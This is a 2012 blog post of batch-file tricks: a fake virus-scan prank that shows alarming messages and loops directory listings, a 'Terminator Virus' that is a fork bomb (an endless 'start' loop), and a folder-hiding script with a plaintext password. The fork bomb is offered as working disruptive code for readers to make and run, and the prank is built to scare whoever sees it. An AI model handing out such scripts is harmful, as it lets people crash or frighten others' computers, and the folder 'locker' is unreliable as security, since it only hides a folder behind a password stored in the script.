Monday, August 13, 2012

Programming Tricks : Batch Programming Updates

  • Creating A Fake System Scan for Virus:

Copy the following code and paste it in notepad
@echo off
title Millenium Worm Virus by Hasan
color 0a
echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTIVIRUS....
pause
echo DO YOU WANT TO DELETE THE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo DEACTIVATING VIRUS.....
pause
echo THE VIRUS IS ALREADY ACTIVATED.
pause
:1
dir/s
goto 1

Now Save the file with a .bat extension. See Batch Programming for more details.

  • Creating The Terminator Virus!

Copy this small code and paste it in notepad to create a very powerful virus!
@echo off
:A
start
goto:A
Save it as mentioned earlier

  • Create a Password-Protected invisible folder without any software

Copy and paste the following code in notepad

cls
@echo off
title Folder Locker
IF EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303­09D}" GOTO UNLOCK
IF NOT EXIST Locker GOTO MDLOCKER
echo Folder Created.
:CONFIRM
echo Are you sure you want to lock the folder? (Y/N)
set/p "cho="
IF %cho%==Y GOTO LOCK
IF %cho%==y GOTO LOCK
IF %cho%==N GOTO END
IF %cho%==n GOTO END
echo Invalid Choice.
GOTO CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303­09D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303­09D}"
echo Folder Locked.
GOTO END

:UNLOCK
echo Enter password to unlock the Folder :
set/p "pass="
IF NOT %pass% == YourPasswordHere GOTO FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303­09D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303­09D}" LOCK
echo Folder Unlocked Successfully.
GOTO END
:FAIL
echo Invalid Password!
GOTO END

:MDLOCKER
md Locker
echo Folder created.

GOTO END
:END
PAUSE

In the above code change YourPasswordHere with your own password
Save the file with .bat extension. See Batch Programming for more information.

  • Open the Locker.bat file. A folder named Locker will be created in the same location (where your Locker.bat file is situated)
  • Open the folder and add whatever personal that you want to hide from others.
  • Again open Locker.bat file. Now it will prompt you a question that if you want to lock your folder or not. Reply yes with y
  • Now your personal Locker folder is invisible! Now you can only access your folder through the Locker.bat file
  • To access your folder again: Open the Locker.bat file. Now it will ask you to enter the password to unlock the folder. Enter the password. The folder will be visible.
  • You should keep this Locker.bat file in a different location and copy-paste it to the invisible folder location when you want to access  it.

Note: This is not a substitute for any folder locking software. This is just a batch script that toggles the visibility of a folder when a certain string(i.e your password) is entered.

blogger widgets

0 Comments:

Post a Comment